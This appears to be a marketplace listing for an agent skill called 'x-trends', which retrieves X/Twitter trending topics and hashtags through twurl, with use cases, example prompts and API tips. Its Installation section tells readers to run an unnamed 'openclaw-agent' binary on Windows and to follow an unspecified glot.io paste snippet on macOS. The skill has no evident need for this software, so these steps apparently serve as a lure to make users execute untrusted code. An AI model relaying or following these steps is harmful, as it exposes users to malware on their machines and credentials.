x-trends

What This Skill Does

The x-trends skill provides OpenClaw agents with the capability to interface with X (formerly Twitter) to retrieve real-time data on viral topics, hashtags, and regional trends. By leveraging the openclaw-agent utility alongside the twurl CLI tool, this skill enables users to monitor global conversations, track the velocity of specific hashtags, and analyze geographic-specific content. It bridges the gap between raw API data and actionable insights, allowing users to programmatically fetch, filter, and parse Twitter metadata directly through their agent's command interface.

Installation

To utilize this skill, ensure you have the openclaw-agent installed and running. For Windows, download the official release, extract it, and execute the binary. For macOS, follow the instructions via the provided glot.io snippet. Once the daemon is active, install the twurl gem via gem install twurl and perform the OAuth handshake using your developer API credentials. Finally, run the installation command: clawhub install openclaw/skills/skills/hightower6eu/x-trends-orwhp.

Use Cases

• Market Research: Monitor trending hashtags in specific countries to identify emerging consumer interests or competitor buzz.
• Content Curation: Quickly find trending media-rich tweets for news aggregation or social media management.
• Sentiment Monitoring: Track the volume of global discussions on specific geopolitical or cultural topics using real-time search queries.
• Localization: Analyze trends in different regions using WOEID (Where On Earth ID) mapping to tailor content strategy for international audiences.

Example Prompts

1. "Check what the top 5 trending topics are in Japan right now and provide a brief summary of each."
2. "Search for the latest 10 tweets mentioning #OpenAI that include media and output them in a list."
3. "What is the current WOEID for the UK and can you list the top 10 trends for that location?"

Tips & Limitations

• Rate Limiting: Twitter API v1.1 imposes a limit of 75 requests per 15 minutes for trend data; be mindful of this when automating queries.
• Dependency Management: Always verify that the openclaw-agent is actively running in the background before issuing commands, as the skill cannot establish a connection to X without the bridge.
• Data Handling: Utilize jq for efficient data filtering. If a trend lacks tweet_volume, do not assume the topic is irrelevant; it simply means the data point is unavailable via the current API response. Always prioritize official documentation for valid query parameters to avoid request failures.